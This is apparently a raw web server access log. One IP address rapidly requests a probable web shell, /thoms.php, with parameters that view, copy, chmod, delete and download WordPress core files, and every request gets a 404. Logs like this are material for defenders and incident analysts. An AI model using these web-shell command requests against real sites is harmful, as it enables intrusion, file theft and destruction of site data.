45.135.193.11 - - [12/Sep/2026:00:03:16 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-block-editor-context.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-block-editor-context.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:16 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-block-parser.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-block-parser.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:16 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-image-editor.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-image-editor.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:16 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-link-service.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-link-service.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:16 -0400] "GET /thoms.php?chmod=class-wp-block-patterns-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-patterns-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:16 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-theme-json-resolver.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-theme-json-resolver.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:16 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=comment-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=comment-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:16 -0400] "GET /thoms.php?del=default-constants.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=default-constants.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:16 -0400] "GET /thoms.php?chmod=taxonomy.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=taxonomy.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:16 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=embed-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=embed-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:16 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes%2Frest-api HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes%2Frest-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:16 -0400] "GET /thoms.php?del=view-config.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=view-config.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:17 -0400] "GET /thoms.php?del=class-wp-block-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:17 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-walker-page-dropdown.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-walker-page-dropdown.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:17 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-block-type.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-block-type.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:17 -0400] "GET /thoms.php?dl=class-wp-paused-extensions-storage.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-paused-extensions-storage.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:17 -0400] "GET /thoms.php?dl=class-wp-url-pattern-prefixer.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-url-pattern-prefixer.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:17 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes%2Fcustomize HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes%2Fcustomize" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:17 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass.wp-styles.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass.wp-styles.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:17 -0400] "GET /thoms.php?dl=class-wp-customize-widgets.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-widgets.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:17 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-navigation-fallback.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-navigation-fallback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:17 -0400] "GET /thoms.php?dl=date.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=date.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:17 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fload.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fload.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:17 -0400] "GET /thoms.php?chmod=ms-default-filters.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-default-filters.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:17 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fatomlib.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fatomlib.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:17 -0400] "GET /thoms.php?del=theme.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=theme.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:17 -0400] "GET /thoms.php?del=class-wp-oembed.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-oembed.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:17 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-icons-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-icons-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:18 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-table.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-table.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:18 -0400] "GET /thoms.php?del=ms-load.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-load.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:18 -0400] "GET /thoms.php?chmod=registration-functions.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=registration-functions.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:18 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=rss.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=rss.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:18 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-block-supports.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-block-supports.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:18 -0400] "GET /thoms.php?del=class-phpmailer.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-phpmailer.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:18 -0400] "GET /thoms.php?del=class-wp-taxonomy.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-taxonomy.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:18 -0400] "GET /thoms.php?dl=feed-rdf.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=feed-rdf.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:18 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fspl-autoload-compat.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fspl-autoload-compat.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:18 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=template-canvas.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=template-canvas.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:18 -0400] "GET /thoms.php?chmod=ai-client&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ai-client&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:18 -0400] "GET /thoms.php?chmod=class-wp-customize-panel.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-panel.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:18 -0400] "GET /thoms.php?dl=class-wp.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:18 -0400] "GET /thoms.php?dl=class.wp-dependencies.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class.wp-dependencies.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:18 -0400] "GET /thoms.php?dl=comment-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=comment-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:18 -0400] "GET /thoms.php?del=ID3&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ID3&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:19 -0400] "GET /thoms.php?dl=atomlib.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=atomlib.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:19 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-comment.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-comment.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:19 -0400] "GET /thoms.php?dl=locale.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=locale.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:19 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=post.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:19 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fphp-ai-client&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fphp-ai-client&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:19 -0400] "GET /thoms.php?del=pomo&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=pomo&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:19 -0400] "GET /thoms.php?del=Text&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=Text&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:19 -0400] "GET /thoms.php?chmod=atomlib.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=atomlib.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:19 -0400] "GET /thoms.php?dl=class-phpass.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-phpass.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:19 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-block-parser-block.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-block-parser-block.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:19 -0400] "GET /thoms.php?del=ms-site.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-site.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:19 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fpost-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fpost-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:19 -0400] "GET /thoms.php?del=block-patterns.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-patterns.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:19 -0400] "GET /thoms.php?chmod=class-wp-block-parser-frame.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser-frame.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:19 -0400] "GET /thoms.php?del=class-walker-page-dropdown.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-walker-page-dropdown.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:19 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-object-cache.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-object-cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:19 -0400] "GET /thoms.php?del=post-thumbnail-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=post-thumbnail-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:20 -0400] "GET /thoms.php?dl=abilities-api.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=abilities-api.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:20 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-block-bindings-source.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-block-bindings-source.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:20 -0400] "GET /thoms.php?del=class-wp-block-patterns-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-patterns-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:20 -0400] "GET /thoms.php?dl=class-wp-role.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-role.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:20 -0400] "GET /thoms.php?del=class-wp-tax-query.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-tax-query.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:20 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class.wp-styles.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class.wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
